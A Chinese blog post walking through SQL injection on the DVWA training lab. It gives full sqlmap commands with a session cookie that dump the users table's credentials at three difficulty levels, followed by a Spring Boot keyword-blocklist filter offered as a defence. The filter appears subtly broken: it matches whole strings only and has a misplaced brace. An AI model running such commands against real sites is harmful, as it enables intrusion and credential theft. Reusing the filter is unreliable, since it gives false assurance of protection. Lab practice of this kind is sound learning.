DVWA 您所在的位置:网站首页 trollge全阶段 DVWA

DVWA

2023-03-29 03:16| 来源: 网络整理| 查看: 265

准备

渗透工具:sqlmap、burpsuite、python2.7(用于运行sqlmap)、火狐浏览器、FoxyProxy火狐代理插件。 我这边直接安装的PentestBox,渗透工具及运行的环境就都全了,官网下载比较慢,这是百度云盘下载链接:链接:pan.baidu.com/s/1hMBUiVvN… 提取码:8ok5

攻击 一、low级别

使用1' or '1'='1测试是否存在注入点

图片.png 显然是存在的,直接使用sqlmap把链接输进去进行注入

图片.png

图片.png 通过sqlmap确认输入的链接存在基于布尔类型的盲注、基于错误的注入、时间注入攻击-时间盲注、union注入攻击。 现在就是直接使用以下命令拼接在上图命令后面。

1.--dbs 获取数据库 2.-D 数据库名 --tables 获取库中所有表 3.-D 数据库名 -T 表名 --columns 获取表中所有字段 4.-D 数据库名 -T 表名 -C "字段,字段" --dump 获取表字段对应的数据 复制代码

执行效果分别如下图所示

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" --dbs 复制代码

图片.png

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa --tables 复制代码

图片.png

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users --columns 复制代码

图片.png

python .\sqlmap.py -u "http://192.168.199.177/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q8en4tjvhcigke3l6drap3b54" -D dvwa -T users -C "user,password" --dump 复制代码

图片.png 成功获取用户名和对应的密码

二、medium级别

图片.png 中级难度前端页面设置了下拉选择表单,希望以此来控制用户的输入,此时我们使用burpsuite拦截请求包,修改内容后再发送给服务器。 启动burpsuite,使用FoxyProxy将请求转发到本地8080端口,点击提交按钮

图片.png 尝试字符型注入失败后改用数字型注入,成功注入

图片.png 将请求包中的内容保存在txt文件中,sqlmap会直接针对请求包中的内容进行注入测试

图片.png

python .\sqlmap.py -r .\dvwa_medium.txt 复制代码

图片.png 判断出存在基于布尔类型的盲注 后续步骤和low级别相同,唯一不同的地方是,low级别的数据库、表单等数据都是通过直接查询获取的,medium级别是通过盲注猜解获取的,人为盲注效率较慢,sqlmap的盲注要快得多,盲注的体现就是数据库名、表名等信息是一个字符一个字符挨个显示的。

三、high级别

high级别的查询提交页面与查询结果显示页面不是同一个,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。但是我们可以使用--second-order+查询结果显示页面链接,无视这种防御措施。

--second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面 复制代码

使用burpsuite拦截high级别提交请求,保存为txt文件,使用下面命令发起sql注入攻击

python .\sqlmap.py -r .\dvwa_high.txt --second-order "http://192.168.199.177/dvwa/vulnerabilities/sqli/" 复制代码

图片.png 成功检测出有基于布尔类型的盲注,后续步骤和medium级别的相同,再不赘述。

防御

因为我是做后端开发的,而且常用Spring Boot框架,所以针对Spring项目写下防范措施,不过原理相同,其他后端框架应该也适用。

慎用,多用#,mybatis不会对参数进行拦截 使用Filter过滤器,Filter负责检查用户请求,根据请求过滤用户非法请求。 /** * sql注入过滤器 */ @Component @WebFilter(urlPatterns = "/*", filterName = "SQLInjection", initParams = { @WebInitParam(name = "regx", value = "(?:')|(?:--)|(/\\*(?:.|[\\n\\r])*?\\*/)|" + "(\\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\\b)") }) public class SqlInjectFilter implements Filter{   private String regx;   @Override   public void init(FilterConfig filterConfig) throws ServletException {     this.regx = filterConfig.getInitParameter("regx");   }   @Override   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {     HttpServletRequest req = (HttpServletRequest) servletRequest;     Map parametersMap = servletRequest.getParameterMap();     Iterator it = parametersMap.entrySet().iterator();     while (it.hasNext()) {       Map.Entry entry = (Map.Entry) it.next();       String[] value = (String[]) entry.getValue();       for (int i = 0; i < value.length; i++) {         if (null != value[i] && value[i].matches(this.regx)) {           log.error("您输入的参数有非法字符,请输入正确的参数!");           servletRequest.setAttribute("err", "您输入的参数有非法字符,请输入正确的参数!");           servletRequest.setAttribute("pageUrl",req.getRequestURI());           servletRequest.getRequestDispatcher(servletRequest.getServletContext().getContextPath() + "/error").forward(servletRequest, servletResponse);           return;         }       }     }   }   filterChain.doFilter(servletRequest, servletResponse);  }   @Override   public void destroy() {   } } 复制代码


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有